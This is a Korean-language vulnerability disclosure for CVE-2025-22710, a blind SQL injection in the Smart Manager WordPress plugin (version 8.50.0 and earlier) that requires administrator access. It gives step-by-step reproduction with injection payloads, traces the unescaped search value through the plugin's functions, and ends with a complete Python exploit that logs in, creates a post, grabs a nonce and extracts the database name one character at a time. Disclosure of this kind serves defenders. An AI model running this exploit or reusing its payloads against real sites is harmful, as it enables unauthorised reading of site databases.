Search

[SQL Injection] CVE-2025-22710

Categories
Tags
작성일
2025/01/16
1 more property

Component type

WordPress plugin

 Component details

Component name WooCommerce Advanced Bulk Edit Products, Orders, Coupons, Any WordPress Post Type – Smart Manager
Vulnerable version <= 8.50.0
Component slug smart-manager-for-wp-e-commerce

 OWASP 2017: TOP 10

Vulnerability class A3: Injection
Vulnerability type SQL Injection

Pre-requisite

Administrator

 Vulnerability details

Short description

WooCommerce Advanced Bulk Edit Products, Orders, Coupons, Any WordPress Post Type – Smart Manager(이하 Smart Manager) 플러그인은 WordPress의 모든 게시물 유형을 대량으로 편집하고 조회할 수 있는 플러그인입니다.
Smart Manager 플러그인 8.50.0 버전 이하 에서는 게시물 조회의 고급 검색 기능 사용 시 필터링 값이 데이터베이스 쿼리에 이스케이프 처리 없이 전달되어 SQL Injection 취약점이 발생합니다.
다만, SQL Injection 공격의 직접적인 결과값을 화면상에서 확인할 수는 없지만, 조건절의 참/거짓에 따른 응답값의 차이를 통해 Blind SQL Injection이 가능합니다.

 How to reproduce (PoC)

게시글이 1개 이상 있어야만 조건절의 참/거짓에 따른 응답값 차이를 확인할 수 있습니다.
1.
Smart Manager 플러그인이 설치된 WordPress 사이트를 준비하고 해당 사이트에 관리자 계정으로 로그인한 뒤, Smart Manager 플러그인의 대시보드 페이지(/wp-admin/admin.php?page=smart-manager)로 이동합니다.
2.
검색창 우측에 있는 'Advanced Search' 체크박스를 클릭하여 고급 검색 창을 띄웁니다.
3.
고급 검색 필터링에서 'Post Title'과 'is'를 선택하고 텍스트 입력 폼에 ' OR 1=1 )) # 페이로드를 입력합니다. 그런 다음 상단의 검색 버튼을 클릭합니다.
4.
검색 결과를 확인하면 페이로드의 조건절이 항상 참(OR 1=1)이므로 모든 게시글이 조회됩니다.
5.
반면에, 고급 검색 필터링에서 'Post Title'과 'is'를 선택하고 텍스트 입력 폼에 ' OR 1=2 )) #를 입력하면, 조건절이 항상 거짓(OR 1=2)이므로 어떠한 게시글도 조회되지 않습니다.

 Additional information (optional)

[취약점 발생 원인]

위 PoC 설명에서 요청한 기능(’Advanced Search’)을 수행할 때 아래의 패킷이 발생되며, 고급 검색에 입력한 필터링 값(Post Title, is, ' OR 1=1 )) # )은 요청 데이터 advanced_search_query 에 입력됩니다.
advanced_search_query=[{"condition":"OR","rules":[{"condition":"AND","rules":[{"type":"wp_posts.post_title","operator":"is","value":"' OR 1=1 )) #"}]}]}]
JSON
복사
해당 패킷이 요청되면 /wp-content/plugins/smart-manager-for-wp-e-commerce/classes/class-smart-manager-base.php 파일 내 get_data_model 함수가 호출되며, 아래의 순서에 의해 데이터베이스에 질의를 수행합니다.
1.
요청 데이터 advanced_search_query 가 존재하면 함수 process_search_cond를 호출합니다. 이때 키-값 쌍으로 구성된 인자에서 키가 search_query인 값에 요청 데이터 advanced_search_query를 전달합니다.
search_query=[{"condition":"OR","rules":[{"condition":"AND","rules":[{"type":"wp_posts.post_title","operator":"is","value":"' OR 1=1 )) #"}]}]}]
JSON
복사
2.
호출된 함수 process_search_cond 는 키가 search_query 인 값을 순회하며, 변수 $search_col 에 필터링 값 Post Title(post_tile) 를 초기화 하고 변수 $search_value 에 SQL Injection 페이로드가 담긴 필터링 값 ' OR 1=1 )) # 를 초기화하고 있습니다.
3.
변수 $search_col$search_value는 각각 $search_params 배열의 키 search_col(=post_title)과 search_value(=' OR 1=1 )) #)에 전달됩니다. 이후 이 $search_params 변수는 함수 create_flat_table_search_query의 인자 중 키가 search_params인 값으로 전달됩니다.
4.
이후 함수 create_flat_table_search_query는 SQL 질의문의 조건절을 정의하는데, 이때 인자로 전달된 키 search_paramssearch_value(=' OR 1=1 )) #)가 이스케이프 처리 없이 그대로 조건절에 포함됩니다.
5.
그런 다음 함수 create_flat_table_search_query의 결과값(SQL Injection 페이로드가 포함된)이 함수 process_flat_table_search_query의 인자로 전달됩니다.
6.
함수 process_flat_table_search_query는 전달받은 인자로 데이터베이스 질의문을 구성하며, 이때 변수 $select, $from, $where를 초기화합니다. 여기서 변수 $where에 SQL Injection 페이로드가 검증 없이 그대로 전달되는 것을 확인할 수 있습니다.
7.
변수 $select, $from, $where는 변수 $query_posts_search에 그대로 할당되며, 이 변수는 최종적으로 데이터베이스 질의를 수행하는 함수의 인자로 전달됩니다.
고급 검색 기능에서 사용자 입력값(' OR 1=1 )) #)이 데이터베이스 쿼리문에 이스케이프 처리 없이 직접 포함되어 SQL Injection 취약점이 발생하게 됩니다. 이러한 취약점은 공격자가 임의의 SQL 쿼리를 실행할 수 있게 하여, 데이터베이스의 민감한 정보를 유출하거나 조작할 수 있는 심각한 보안 위험을 초래할 수 있습니다.

[PoC 코드 구현 및 실행]

PoC 코드 구현은 SQL Injection 취약점을 이용하여 데이터베이스명을 조회합니다.
1.
PoC 코드를 편집기로 열어 WordPress 사이트 주소와 관리자의 계정을 입력합니다.
2.
그 다음 아래의 명령어를 입력하여 PoC 코드를 실행합니다.
필요 모듈 requests
python poc.py
Bash
복사

 Attach files (optional)

 PoC Code

import requests import sys import string import re class WordPressSQLInjector: def __init__(self, target, login_id, login_pw, proxy=None): self.target = target.rstrip("/") self.session = requests.Session() self.nonce = None self.post_ID = None self.proxies = {"http": proxy, "https": proxy} if proxy else None self.login_id = login_id self.login_pw = login_pw def login(self): data = { "log": self.login_id, "pwd": self.login_pw, "wp-submit": "Log In", "testcookie": 1, } response = self.session.post(f"{self.target}/wp-login.php", data=data, proxies=self.proxies) if any("wordpress_logged_in_" in cookie for cookie in response.cookies.keys()): print(f"[+] Successfully logged in as {self.login_id}.") else: raise Exception("[-] Login failed. Check your credentials.") def get_nonce(self, page_url): response = self.session.get(page_url, proxies=self.proxies) pattern = r'\\"sm_nonce\\":\\"(\w+)\\"' match = re.search(pattern, response.text) if match: self.nonce = match.group(1) print(f"[+] Nonce extracted: {self.nonce}") else: raise ValueError("[-] Failed to extract nonce.") def create_payload(self, payload): if not self.nonce: raise ValueError("Nonce is not set. Call `get_nonce` first.") return { "cmd": "get_data_model", "active_module": "post", "security": self.nonce, "advanced_search_query": ( f'[{{"condition":"test","rules":[{{"condition":"test","rules":' f'[{{"type":"wp_posts.ID","operator":"eq","value":"{payload}"}}]' f'}}]}}]' ), } def create_post(self): response = self.session.get(f"{self.target}/wp-admin/post-new.php", proxies=self.proxies) nonce_pattern = r'createNonceMiddleware\( "(.{10})" \)' post_id_pattern = r'<input type=\'hidden\' id=\'post_ID\' name=\'post_ID\' value=\'(\w+)\'' nonce_match = re.search(nonce_pattern, response.text) post_id_match = re.search(post_id_pattern, response.text) if nonce_match and post_id_match: wp_nonce = nonce_match.group(1) post_ID = post_id_match.group(1) print(f"[+] Extracted wp_nonce: {wp_nonce}, post_ID: {post_ID}") headers = { "X-WP-Nonce": wp_nonce, "Content-Type": "application/json", } params = {"rest_route": f"/wp/v2/posts/{post_ID}", "_locale": "user"} data = {"id": post_ID, "status": "publish", "title": "PoC", "content": ""} response = self.session.post( f"{self.target}/index.php", headers=headers, params=params, json=data, proxies=self.proxies, ) if response.status_code == 200: print(f"[+] Post created successfully. Post ID: {post_ID}") self.post_ID = post_ID else: raise ValueError("[-] Failed to create post.") else: raise ValueError("[-] Failed to extract wp_nonce or post_ID.") def extract_database_name(self, url): database_name = "" charset = string.ascii_letters + string.digits + "_" print("[+] Starting database name extraction...") headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"} while True: char_found = False for char in charset: payload = ( f"999 ) UNION SELECT IF(SUBSTR(DATABASE(), {len(database_name) + 1}, 1)='{char}', " f"{self.post_ID}, 999), 1, 999 ) #" ) response = self.session.post( url, data=self.create_payload(payload), headers=headers, proxies=self.proxies ) try: is_valid = response.json().get("total_count", 0) != 0 except (KeyError, ValueError, requests.exceptions.JSONDecodeError): print("[-] Error parsing JSON response.") is_valid = False if is_valid: database_name += char sys.stdout.write(f"\r[+] Current database name: {database_name}") sys.stdout.flush() char_found = True break if not char_found: break print("\n" + "*" * 40) print(f"[+] Database name extracted: {database_name}") print("*" * 40) return database_name if __name__ == "__main__": # Configuration TARGET = "http://localhost:8080" LOGIN_ID = "admin" LOGIN_PW = "admin" PROXY = None NONCE_PAGE = f"{TARGET}/wp-admin/admin.php?page=smart-manager" URL = f"{TARGET}/wp-admin/admin-ajax.php?action=sm_beta_include_file" # Initialize and execute injector = WordPressSQLInjector(TARGET, LOGIN_ID, LOGIN_PW, proxy=PROXY) injector.login() injector.create_post() injector.get_nonce(NONCE_PAGE) database_name = injector.extract_database_name(URL)
Python
복사

 References